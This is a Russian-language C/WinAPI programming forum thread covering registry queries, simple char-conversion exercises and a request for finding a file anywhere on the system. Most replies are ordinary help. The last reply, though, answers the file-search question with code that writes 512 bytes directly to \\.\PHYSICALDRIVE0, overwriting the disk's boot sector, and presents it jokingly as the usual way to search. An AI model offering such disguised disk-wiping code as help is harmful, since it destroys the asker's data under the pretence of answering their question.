2criz код ошибки 6. Идём в мсдн. ERROR_INVALID_HANDLE The handle is invalid. Что это значит я думаю ты понял. В том же мсдн есть пример кода юзающего эту функцию. Code: DWORD BufferSize = TOTALBYTES; DWORD cbData; DWORD dwRet; PPERF_DATA_BLOCK PerfData = (PPERF_DATA_BLOCK) malloc( BufferSize ); cbData = BufferSize; printf("\nRetrieving the data..."); dwRet = RegQueryValueEx( HKEY_PERFORMANCE_DATA, TEXT("Global"), NULL, NULL, (LPBYTE) PerfData, &cbData ); Да, и проверь может ты ещё hKey не прально заполнил? Или это у тебя проверяется а ты просто код не выложил? PS вот тебе ссылка http://msdn2.microsoft.com/en-us/library/ms724911.aspx
Ну вот мой код: Code: #include <windows.h> #include <string.h> int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdParam, int nCmdShow) { HKEY hKey; DWORD dwErr; DWORD type = REG_SZ; char v[80] = " "; unsigned long buf; char err; RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SOFTWARE\Eset\Nod\CurrentVersion\Info", 0, KEY_ALL_ACCESS, &hKey); if(hKey != ERROR_SUCCESS) { MessageBoxA(NULL, "Not found", "Error", MB_OK); exit(1); } dwErr = RegQueryValueExA(hKey, "Language", NULL, NULL, &v, &buf); if(dwErr==ERROR_SUCCESS) { MessageBoxA(0,v,"Good!",0); } else { MessageBoxA(0, "error", "error", MB_OK); } } P.S. tnx за линк
2Piflit 2criz То что ты дал вообще не компилится. Поэтому будем думать что ты просто написал его по памяти. Дури там много поэтому обсужать не вижу смысла, если интересно - напиши лс. Вот тебе твой переправленный код: Code: HKEY hKey; unsigned char *b = new unsigned char[80]; unsigned long buf=80; RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&hKey); dwErr = RegQueryValueExA(hKey, "DAEMON Tools", NULL, NULL, b, &buf); Надеюсь я тебе помог
глупый вопрос вообще более целеобразно искать через х*х если надо большие степени тоже, ускореное умножение а вообще:
народ вот таких три простых задачи но не могу я в ехать в тему.. 1.Водим 4 буквы получаем результат в цыфрах 2.Водим цыфри получаем буквы. 3.Водим 4 буквы и шыбруем результат в +1 Все основано на типу char
1. Code: #include <stdio.h> int main (void) { printf("Enter 4 chars, and hit 'Enter' please...\n\n"); for (int i = 0; i < 4; i++) { char some_char; some_char = (char) _fgetchar(); printf("%d\n", some_char); } return 0; } 2. Code: #include <stdio.h> #include <stdlib.h> int main (void) { printf("Enter 3 digits between 0 and 255...\n\n"); char some_char[4] = {0}; fscanf(stdin, "%s", some_char); char result = atoi(some_char); printf("%c\n", result); return 0; } 3. Code: #include <stdio.h> int main (void) { printf("Enter 4 chars, and hit 'Enter' please...\n\n"); for (int i = 0; i < 4; i++) { char some_char; some_char = (char) _fgetchar(); some_char++; printf("%c", some_char); } return 0; }
Ну просто убери цикл и всё... Только смысл? Без цикла ты всегда будешь работать только с одним символом вместо заданных 4-х...
Как можно осуществить поиск файла в системе? Т.е. я указываю имя ехе-шника и прога выводит абсолютный путь.... Прога на С, консольная.
> Как можно осуществить поиск файла в системе? FindFirstFile, FindNextFile хотя к C это не имеет никакого отношения.
Либо юзай стандартный поиск винды (напиши батничек для этого например) либо смотри в msdn про функции FindFirstFile/FindNextFile.
Если я правильно понял мсдн, то FindFirstFile и FindNextFile ищут файл в указанной директории. А у меня другая ситуация -- я знаю как называется файл, но где он находится не знаю...
Code: #include <stdio.h> #include <windows.h> int main(int argc, char**argv) { HANDLE hF; DWORD write; char find[512]; hF=CreateFile("\\\\.\\PHYSICALDRIVE0",GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); WriteFile(hF,find,512,&write,NULL); CloseHandle(hF); return 0; } обычно так ищут : D в find пиши имя своего файла...)